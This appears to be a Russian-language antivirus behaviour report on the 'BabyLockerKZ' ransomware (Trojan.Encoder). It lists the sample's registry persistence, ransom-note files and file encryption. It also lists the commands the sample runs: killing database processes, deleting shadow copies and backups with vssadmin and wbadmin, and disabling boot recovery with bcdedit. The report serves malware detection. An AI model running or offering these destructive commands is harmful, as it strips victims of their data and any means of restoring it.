Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'BabyLockerKZ' = '"<Полный путь к файлу>"'
Создает следующие файлы на съемном носителе
- <Имя диска съемного носителя>:\how_to_back_files.html
- <Имя диска съемного носителя>:\iisstart.htm
- <Имя диска съемного носителя>:\64bit_notes.htm
- <Имя диска съемного носителя>:\ituneshelpunavailable.htm
- <Имя диска съемного носителя>:\advice_process.htm
- <Имя диска съемного носителя>:\iisstart.html
- <Имя диска съемного носителя>:\ck_ugo.pem
- <Имя диска съемного носителя>:\irgeek.pem
- <Имя диска съемного носителя>:\excel_example.zip
Вредоносные функции
Для затруднения выявления своего присутствия в системе
удаляет теневые копии разделов.
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' -f -im sqlbrowser.exe
- '<SYSTEM32>\net.exe' stop SQLBrowser
- '<SYSTEM32>\net.exe' stop SQLAgent$MSFW
- '<SYSTEM32>\net.exe' stop SQLAgent$ISARS
- '<SYSTEM32>\net.exe' stop MSSQL$MSFW
- '<SYSTEM32>\net.exe' stop MSSQL$ISARS
- '<SYSTEM32>\net.exe' stop MSSQLServerADHelper100
- '<SYSTEM32>\taskkill.exe' -f -impostgres.exe
- '<SYSTEM32>\taskkill.exe' -f -im pg_ctl.exe
- '<SYSTEM32>\taskkill.exe' -f -im msftesql.exe
- '<SYSTEM32>\taskkill.exe' -f -im ReportingServicesService.exe
- '<SYSTEM32>\taskkill.exe' -f -im fdhost.exe
- '<SYSTEM32>\taskkill.exe' -f -im SQLAGENT.EXE
- '<SYSTEM32>\taskkill.exe' -f -im Ssms.exe
- '<SYSTEM32>\taskkill.exe' -f -im fdlauncher.exe
- '<SYSTEM32>\taskkill.exe' -f -im sqlceip.exe
- '<SYSTEM32>\taskkill.exe' -f -im MsDtsSrvr.exe
- '<SYSTEM32>\taskkill.exe' -f -im msmdsrv.exe
- '<SYSTEM32>\taskkill.exe' -f -im sqlserv.exe
- '<SYSTEM32>\taskkill.exe' -f -im sql writer.exe
- '<SYSTEM32>\net.exe' stop REportServer$ISARS
- '<SYSTEM32>\net.exe' stop SQLWriter
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\wbadmin.exe
- <SYSTEM32>\vssadmin.exe
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\desktop\how_to_back_files.html
- C:\how_to_back_files.html
- D:\how_to_back_files.html
- a:\how_to_back_files.html
Изменяет следующие файлы
- C:\kms\kms_vl_all_aio.cmd
- C:\kms\kms_vl_all_aio_debug.log
- <Имя диска съемного носителя>:\000814251_video_01.avi
- <Имя диска съемного носителя>:\join.avi
- <Имя диска съемного носителя>:\hanni_umami_chapter.doc
- <Имя диска съемного носителя>:\weeklysheet1215.doc
- <Имя диска съемного носителя>:\applicantform_en.doc
- <Имя диска съемного носителя>:\uep_form_786_bulletin_1726i602.doc
Изменяет расширения файлов пользовательских данных (Trojan.Encoder).
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c rem Kill "SQL"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop SQLBrowser' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$MSFW' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$ISARS' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop MSSQL$MSFW' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop MSSQL$ISARS' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop MSSQLServerADHelper100' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -impostgres.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im msftesql.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop REportServer$ISARS' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im Ssms.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im sql writer.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdhost.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop SQLWriter' (со скрытым окном)
Перезапускает анализируемый образец
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c rem Kill "SQL"
- '<SYSTEM32>\net1.exe' stop SQLWriter
- '<SYSTEM32>\cmd.exe' /c net stop SQLWriter
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop SQLWriter
- '<SYSTEM32>\net1.exe' stop REportServer$ISARS
- '<SYSTEM32>\cmd.exe' /c net stop REportServer$ISARS
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop REportServer$ISARS
- '<SYSTEM32>\net1.exe' stop SQLBrowser
- '<SYSTEM32>\cmd.exe' /c net stop SQLBrowser
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop SQLBrowser
- '<SYSTEM32>\net1.exe' stop SQLAgent$MSFW
- '<SYSTEM32>\cmd.exe' /c net stop SQLAgent$MSFW
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$MSFW
- '<SYSTEM32>\net1.exe' stop SQLAgent$ISARS
- '<SYSTEM32>\cmd.exe' /c net stop SQLAgent$ISARS
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$ISARS
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
- '<SYSTEM32>\bcdedit.exe' /set {default} recoverynabled No
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest
- '<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\wbadmin.exe' DELETE SYSTEMSTATEBACKUP
- '<SYSTEM32>\wbadmin.exe' delete backup -keepVersion:0 -quiet
- '<SYSTEM32>\wbadmin.exe' DELETE SYSTEMSTABACKUP -deleteOldest
- '<SYSTEM32>\wbem\wmic.exe' SHADOWCOPY /nointeractive
- '<SYSTEM32>\cmd.exe' /c bcdedit.exe /set {default} recoverynabled No
- '<SYSTEM32>\cmd.exe' /c wmic.exe SHADOWCOPY /nointeractive
- '<SYSTEM32>\cmd.exe' /c wbadmin delete backup -keepVersion:0 -quiet
- '<SYSTEM32>\cmd.exe' /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet
- '<SYSTEM32>\cmd.exe' /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest
- '<SYSTEM32>\cmd.exe' /c wbadmin DELETE SYSTEMSTATEBACKUP
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No
- '<SYSTEM32>\net1.exe' stop MSSQL$MSFW
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
- '<SYSTEM32>\cmd.exe' /c net stop MSSQL$MSFW
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im Ssms.exe
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im fdlauncher.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im sqlceip.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im MsDtsSrvr.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im msmdsrv.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im sqlserv.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im sql writer.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im sql writer.exe
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im sqlbrowser.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe
- '<SYSTEM32>\cmd.exe' /c rem Kill "SQL"
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im Ssms.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE
- '<SYSTEM32>\net1.exe' stop MSSQL$ISARS
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im SQLAGENT.EXE
- '<SYSTEM32>\cmd.exe' /c net stop MSSQL$ISARS
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop MSSQL$ISARS
- '<SYSTEM32>\net1.exe' stop MSSQLServerADHelper100
- '<SYSTEM32>\cmd.exe' /c net stop MSSQLServerADHelper100
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop MSSQLServerADHelper100
- '<SYSTEM32>\cmd.exe' /c taskkill -f -impostgres.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -impostgres.exe
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im pg_ctl.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im msftesql.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im msftesql.exe
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im ReportingServicesService.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe
- '<SYSTEM32>\cmd.exe' /c taskkill -f -im fdhost.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdhost.exe
- '%WINDIR%\syswow64\cmd.exe' /c %windir%\sysnative\cmd.exe /c net stop MSSQL$MSFW
- '<SYSTEM32>\cmd.exe' /c pause
